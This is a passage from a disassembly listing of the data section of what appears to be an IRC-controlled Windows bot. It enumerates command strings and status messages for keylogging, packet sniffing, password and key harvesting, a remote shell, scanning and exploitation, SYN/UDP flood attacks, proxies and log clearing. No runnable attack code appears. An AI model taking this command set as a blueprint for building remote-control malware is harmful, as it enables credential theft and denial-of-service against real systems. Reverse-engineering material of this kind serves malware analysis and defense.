aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40EC43+234Fo
		align 4
aIrc_m		db 'irc.m',0            ; DATA XREF: sub_40EC43+2338o
		align 4
aIrc_mode	db 'irc.mode',0         ; DATA XREF: sub_40EC43+2321o
		align 10h
aIrc_cy		db 'irc.cy',0           ; DATA XREF: sub_40EC43+230Ao
		align 4
aIrc_cycle	db 'irc.cycle',0        ; DATA XREF: sub_40EC43+22F3o
		align 4
aIrc_ac		db 'irc.ac',0           ; DATA XREF: sub_40EC43+22DCo
		align 4
aIrc_action	db 'irc.action',0       ; DATA XREF: sub_40EC43+22C5o
		align 4
aIrc_pm		db 'irc.pm',0           ; DATA XREF: sub_40EC43+22AEo
		align 10h
aIrc_privmsg	db 'irc.privmsg',0      ; DATA XREF: sub_40EC43+2297o
aIrc_aa		db 'irc.aa',0           ; DATA XREF: sub_40EC43+2280o
		align 4
aIrc_addalias	db 'irc.addalias',0     ; DATA XREF: sub_40EC43+2269o
		align 4
aIrc_gh		db 'irc.gh',0           ; DATA XREF: sub_40EC43+2240o
		align 4
aIrc_gethost	db 'irc.gethost',0      ; DATA XREF: sub_40EC43+2229o
aCom_cap	db 'com.cap',0          ; DATA XREF: sub_40EC43+2212o
aCom_capture	db 'com.capture',0      ; DATA XREF: sub_40EC43+21FBo
dword_436C0C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43:loc_410E23o
		dd 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_436C38	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43:loc_410E1Co
		dd 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_436C68	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43:loc_410DD1o
		dd 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_436C94	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+2187o
		dd 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40EC43+2100o
		align 4
dword_436CCC	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43:loc_410D38o
		dd 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_436CFC	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+20EBo
		dd 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40EC43+207Do
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40EC43+2062o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_40EC43+202Co
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40EC43+2014o
		align 4
dword_436D4C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43:loc_410C4Co
		dd 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_436D7C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+1FFFo
		dd 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 10h
dword_436DB0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+1F75o
		dd 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aCom_net	db 'com.net',0          ; DATA XREF: sub_40EC43+1F51o
unk_436E00	db    2			; DATA XREF: sub_40EC43+1F20o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_23	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_436E4C	db    2			; DATA XREF: sub_40EC43+1EC7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_436E7C	db    2			; DATA XREF: sub_40EC43+1E46o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_436EAC	db    2			; DATA XREF: sub_40EC43:loc_410A73o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_436EE8	db    2			; DATA XREF: sub_40EC43+1E26o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aCom_keylog	db 'com.keylog',0       ; DATA XREF: sub_40EC43+1DCCo
		align 10h
unk_436F40	db    2			; DATA XREF: sub_40EC43:loc_410A02o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_436F78	db    2			; DATA XREF: sub_40EC43+1DB5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
aOff		db 'off',0              ; DATA XREF: sub_40EC43+1D92o
					; sub_40EC43+1E03o
		align 8
unk_436FC8	db    2			; DATA XREF: sub_40EC43+1D72o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_24	db 'Failed to start sniffer thread, error: <%d>.',0
		align 4
unk_437014	db    2			; DATA XREF: sub_40EC43+1D19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 4
unk_437054	db    2			; DATA XREF: sub_40EC43+1CB5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_40EC43+1C95o
					; sub_40EC43+1DE1o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40EC43+1C80o
		align 10h
aCom_rf		db 'com.rf',0           ; DATA XREF: sub_40EC43+1C69o
		align 4
aCom_readfile	db 'com.readfile',0     ; DATA XREF: sub_40EC43+1C52o
		align 4
aCom_cm		db 'com.cm',0           ; DATA XREF: sub_40EC43+1C3Bo
		align 10h
aCom_cmd	db 'com.cmd',0          ; DATA XREF: sub_40EC43+1C24o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40EC43+1BF6o
					; sub_40EC43+1C0Do
		align 4
aIrc_v		db 'irc.v',0            ; DATA XREF: sub_40EC43+1BDFo
		align 4
aIrc_visit	db 'irc.visit',0        ; DATA XREF: sub_40EC43+1BC8o
		align 4
aCom_fl		db 'com.fl',0           ; DATA XREF: sub_40EC43+1BB1o
		align 10h
aCom_filelist	db 'com.filelist',0     ; DATA XREF: sub_40EC43+1B9Ao
		align 10h
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40EC43+1B83o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40EC43+1B6Co
aCom_del	db 'com.del',0          ; DATA XREF: sub_40EC43+1B55o
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40EC43+1B3Eo
		align 4
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40EC43+1B27o
		align 10h
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40EC43+1B10o
		align 10h
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40EC43+1AF9o
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40EC43+1AE2o
		align 4
aIrc_dn		db 'irc.dn',0           ; DATA XREF: sub_40EC43+1ACBo
		align 4
aIrc_dns	db 'irc.dns',0          ; DATA XREF: sub_40EC43+1AB4o
aIrc_se		db 'irc.se',0           ; DATA XREF: sub_40EC43+1A9Do
		align 4
aIrc_setserve	db 'irc.setserve',0     ; DATA XREF: sub_40EC43+1A86o
		align 4
aCom_o		db 'com.o',0            ; DATA XREF: sub_40EC43+1A6Fo
		align 4
aCom_open	db 'com.open',0         ; DATA XREF: sub_40EC43+1A58o
		align 4
aIrc_pr		db 'irc.pr',0           ; DATA XREF: sub_40EC43+1A41o
		align 10h
aIrc_prefix	db 'irc.prefix',0       ; DATA XREF: sub_40EC43+1A2Ao
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40EC43+1A13o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40EC43+19FCo
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40EC43+19E5o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40EC43+19CEo
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40EC43+19B7o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40EC43+19A0o
		align 4
aIrc_ra		db 'irc.ra',0           ; DATA XREF: sub_40EC43+1989o
		align 10h
aIrc_raw	db 'irc.raw',0          ; DATA XREF: sub_40EC43+1972o
aIrc_pt		db 'irc.pt',0           ; DATA XREF: sub_40EC43+195Bo
		align 10h
aIrc_part	db 'irc.part',0         ; DATA XREF: sub_40EC43+1944o
		align 4
aIrc_j		db 'irc.j',0            ; DATA XREF: sub_40EC43+192Do
		align 4
aIrc_join	db 'irc.join',0         ; DATA XREF: sub_40EC43+1916o
		align 10h
aIrc_n		db 'irc.n',0            ; DATA XREF: sub_40EC43+18FFo
		align 4
aIrc_nick	db 'irc.nick',0         ; DATA XREF: sub_40EC43+18E8o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_40EC43+18C2o
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_40EC43+18ADo
aCom_fp		db 'com.fp',0           ; DATA XREF: sub_40EC43+1898o
		align 4
aCom_findpass	db 'com.findpass',0     ; DATA XREF: sub_40EC43+1883o
		align 4
aDaemon_tf_on	db 'daemon.tf.on',0     ; DATA XREF: sub_40EC43+186Eo
		align 4
aDaemon_tftp_on	db 'daemon.tftp.on',0   ; DATA XREF: sub_40EC43+1859o
		align 4
aDaemon_web_on	db 'daemon.web.on',0    ; DATA XREF: sub_40EC43+1844o
		align 4
aDaemon_httpd_o	db 'daemon.httpd.on',0  ; DATA XREF: sub_40EC43+182Fo
aDaemon_rl_on	db 'daemon.rl.on',0     ; DATA XREF: sub_40EC43+181Ao
		align 4
aDaemon_rlogi_0	db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EC43+1805o
		align 4
aRoot_cip	db 'root.cip',0         ; DATA XREF: sub_40EC43+17F0o
		align 4
aRoot_currentip	db 'root.currentip',0   ; DATA XREF: sub_40EC43+17DBo
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40EC43+17C6o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40EC43+17B1o
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40EC43+179Co
		align 10h
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40EC43+1787o
		align 10h
aCom_gc		db 'com.gc',0           ; DATA XREF: sub_40EC43+1772o
		align 4
aCom_getclip	db 'com.getclip',0      ; DATA XREF: sub_40EC43+175Do
dword_437324	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+1752o
		dd 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_40EC43+171Eo
					; sub_416B37+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40EC43+1711o
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40EC43+16EFo
		align 4
aIrc_who	db 'irc.who',0          ; DATA XREF: sub_40EC43+16D6o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40EC43+16CBo
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40EC43+16C6o
		align 4
aCom_ocmd_off	db 'com.ocmd.off',0     ; DATA XREF: sub_40EC43+16ADo
		align 4
aCom_ocmd	db 'com.ocmd',0         ; DATA XREF: sub_40EC43+1698o
		align 10h
aCom_opencmd	db 'com.opencmd',0      ; DATA XREF: sub_40EC43+1683o
aCom_dll	db 'com.dll',0          ; DATA XREF: sub_40EC43+166Eo
aCom_testdlls	db 'com.testdlls',0     ; DATA XREF: sub_40EC43+1659o
		align 4
aCom_drv	db 'com.drv',0          ; DATA XREF: sub_40EC43+1644o
aCom_driveinfo	db 'com.driveinfo',0    ; DATA XREF: sub_40EC43+162Fo
		align 4
aCom_up		db 'com.up',0           ; DATA XREF: sub_40EC43+161Ao
		align 4
aCom_uptime	db 'com.uptime',0       ; DATA XREF: sub_40EC43+1605o
		align 10h
aCom_key	db 'com.key',0          ; DATA XREF: sub_40EC43+15F0o
aCom_harvest	db 'com.harvest',0      ; DATA XREF: sub_40EC43+15DBo
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40EC43+15C6o
		align 4
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40EC43+15B1o
		align 4
aIrc_rm0	db 'irc.rm0',0          ; DATA XREF: sub_40EC43+159Co
aIrc_rem0ve	db 'irc.rem0ve',0       ; DATA XREF: sub_40EC43+1587o
		align 4
aCom_si		db 'com.si',0           ; DATA XREF: sub_40EC43+1572o
		align 4
aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40EC43+155Do
unk_437450	db    2			; DATA XREF: sub_40EC43+153Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_25	db ' Failed to start flood thread, error: <%d>.',0
		align 10h
unk_4374A0	db    2			; DATA XREF: sub_40EC43+14E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSFo_1	db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn	db 'ddos.supersyn',0    ; DATA XREF: sub_40EC43+144Eo
		align 10h
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40EC43+1439o
		align 4
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40EC43+1424o
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40EC43+140Fo
		align 10h
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40EC43+13FAo
		align 10h
aIrc_lg		db 'irc.lg',0           ; DATA XREF: sub_40EC43+13E5o
		align 4
aIrc_log	db 'irc.log',0          ; DATA XREF: sub_40EC43+13D0o
aIrc_al		db 'irc.al',0           ; DATA XREF: sub_40EC43+13BBo
		align 4
aIrc_aliases	db 'irc.aliases',0      ; DATA XREF: sub_40EC43+13A6o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40EC43+1391o
		align 10h
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40EC43+137Co
		align 10h
dword_437560	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+1348o
		dd 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_437594	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+1341o
		dd 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40EC43+132Ao
		align 4
aIrc_i		db 'irc.i',0            ; DATA XREF: sub_40EC43+1315o
		align 4
aIrc_id		db 'irc.id',0           ; DATA XREF: sub_40EC43+1300o
		align 4
aIrc_s		db 'irc.s',0            ; DATA XREF: sub_40EC43+12EBo
		align 4
aIrc_status	db 'irc.status',0       ; DATA XREF: sub_40EC43+12D6o
		align 10h
aIrc_q		db 'irc.q',0            ; DATA XREF: sub_40EC43+12C1o
		align 4
aIrc_quit	db 'irc.quit',0         ; DATA XREF: sub_40EC43+12ACo
		align 4
aIrc_d		db 'irc.d',0            ; DATA XREF: sub_40EC43+1297o
		align 4
aIrc_disconnect	db 'irc.disconnect',0   ; DATA XREF: sub_40EC43+1282o
		align 4
aIrc_r		db 'irc.r',0            ; DATA XREF: sub_40EC43+126Do
		align 4
aIrc_reconnect	db 'irc.reconnect',0    ; DATA XREF: sub_40EC43+1258o
		align 4
aRoot_st	db 'root.st',0          ; DATA XREF: sub_40EC43+1243o
aRoot_stats	db 'root.stats',0       ; DATA XREF: sub_40EC43+122Eo
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40EC43+1223o
		align 4
aScan		db 'Scan',0             ; DATA XREF: sub_40EC43+121Eo
		align 10h
aRoot_stop	db 'root.stop',0        ; DATA XREF: sub_40EC43+1205o
		align 4
dword_43766C	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40EC43+11FAo
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40EC43+11F5o
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40EC43+11DCo
		align 4
dword_437694	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40EC43+11D1o
aClone		db 'Clone',0            ; DATA XREF: sub_40EC43+11CCo
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40EC43+11B3o
		align 4
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40EC43+119Eo
		align 4
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40EC43+1189o
		align 4
aUtil_ff_off	db 'util.ff.off',0      ; DATA XREF: sub_40EC43+1174o
aUtil_findfile_	db 'util.findfile.off',0 ; DATA XREF: sub_40EC43+115Fo
		align 4
dword_4376F4	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EC43+1154o
aDaemon_tftp_of	db 'daemon.tftp.off',0  ; DATA XREF: sub_40EC43+1136o
dword_437710	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EC43+112Bo
dword_43771C	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EC43+1126o
dword_437728	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: sub_40EC43+110Do
dword_437738	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EC43+1102o
dword_437744	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EC43+10FDo
dword_437750	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EC43+10E4o
dword_437760	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EC43+10D9o
dword_43776C	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EC43+10D4o
dword_437778	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EC43+10BBo
dword_437788	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EC43+10B0o
dword_437794	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EC43+10ABo
dword_4377A0	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	sub_40EC43+1092o
dword_4377AC	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EC43+1087o
dword_4377BC	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40EC43+1082o
aProxy_redirect	db 'proxy.redirect.off',0 ; DATA XREF: sub_40EC43+1069o
		align 10h
dword_4377E0	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EC43+105Eo
dword_4377EC	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40EC43+1059o
dword_4377F8	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40EC43+1040o
dword_437800	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EC43+1035o
dword_43780C	dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EC43+1017o
dword_43781C	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40EC43+100Co
aDaemon_rlogin_	db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EC43+FEEo
		align 10h
dword_437840	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40EC43+FE3o
aServer		db 'Server',0           ; DATA XREF: sub_40EC43+FDEo
					; sub_40EC43+1007o ...
		align 4
aProxy_socks4_0	db 'proxy.socks4.off',0 ; DATA XREF: sub_40EC43+FC5o
		align 4
aProxy_s4_on	db 'proxy.s4.on',0      ; DATA XREF: sub_40EC43+FB0o
aProxy_socks4_o	db 'proxy.socks4.on',0  ; DATA XREF: sub_40EC43+F9Bo
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40EC43+F86o
		align 10h
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40EC43+F71o
		align 10h
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40EC43+F5Co
		align 4
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40EC43+F47o
aVer		db 'ver',0              ; DATA XREF: sub_40EC43+F32o
aIrc_version	db 'irc.version',0      ; DATA XREF: sub_40EC43+F1Do
aLo		db 'lo',0               ; DATA XREF: sub_40EC43+F08o
		align 4
aIrc_logout	db 'irc.logout',0       ; DATA XREF: sub_40EC43+EF3o
		align 4
aIrc_di		db 'irc.di',0           ; DATA XREF: sub_40EC43+EDEo
		align 4
aIrc_die	db 'irc.die',0          ; DATA XREF: sub_40EC43+EC9o
aRn		db 'rn',0               ; DATA XREF: sub_40EC43+EB4o
		align 4
aIrc_rndnick	db 'irc.rndnick',0      ; DATA XREF: sub_40EC43+E9Co
a63		db '63',0               ; DATA XREF: sub_40EC43+D77o
		align 4
asc_4378F8:				; DATA XREF: sub_40EC43+D4Fo
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40EC43+D15o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_40EC43+D0Ao
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40EC43+CF9o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_40EC43+CDDo
		align 10h
aUser_2		db '$user',0            ; DATA XREF: sub_40EC43+CCCo
		align 4
aMe_0		db '$me',0              ; DATA XREF: sub_40EC43+CBAo
aD		db '$%d',0              ; DATA XREF: sub_40EC43+C4Co
aD_0		db '$%d-',0             ; DATA XREF: sub_40EC43+B9Fo
		align 4
aC_1:					; DATA XREF: sub_40EC43+AADo
		unicode	0, <c>,0
		align 10h
dword_437940	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+A87o
		dd 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_437980	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+A76o
		dd 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 10h
dword_4379C0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+A50o
		dd 2BBBB02h
aFailedToSta_26	db '  Failed to start chat thread, error: <%d>.',0
dword_437A04	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+9F7o
		dd 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40EC43+960o
		align 10h
dword_437A40	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+943o
		dd 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_437A90	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40EC43+913o
		dd 0A0Dh
dword_437AA8	dd 4E495001h, 47h	; DATA XREF: sub_40EC43+8DFo
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40EC43+8A4o
		align 4
dword_437ACC	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40EC43+88Ao
		dd 0D017325h, 0Ah
dword_437AE8	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40EC43+859o
dword_437AF4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+74Do
		dd 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40EC43+6AAo
		align 4
dword_437B38	dd 43434401h, 0		; DATA XREF: sub_40EC43+68Co
dword_437B40	dd 323333h		; DATA XREF: sub_40EC43+60Fo
					; sub_40EC43+AE3o ...
unk_437B44	db    2			; DATA XREF: sub_40EC43+590o
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  69h	; i
		db 72h,	63h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUserSLoggedO_0	db ' User: %s logged out.',0
		align 4
dword_437B74	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+570o
		dd 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40EC43+539o
aPart		db 'PART',0             ; DATA XREF: sub_40EC43+4EBo
					; sub_40EC43+5ADo
		align 10h
aSS_1		db ':%s%s',0            ; DATA XREF: sub_40EC43+4C3o
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_40EC43+3AFo
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+352o
					; sub_40EC43+5D1o
unk_437BD0	db    2			; DATA XREF: sub_40EC43+339o
		db 36h,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  69h	; i
		db 72h,	63h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
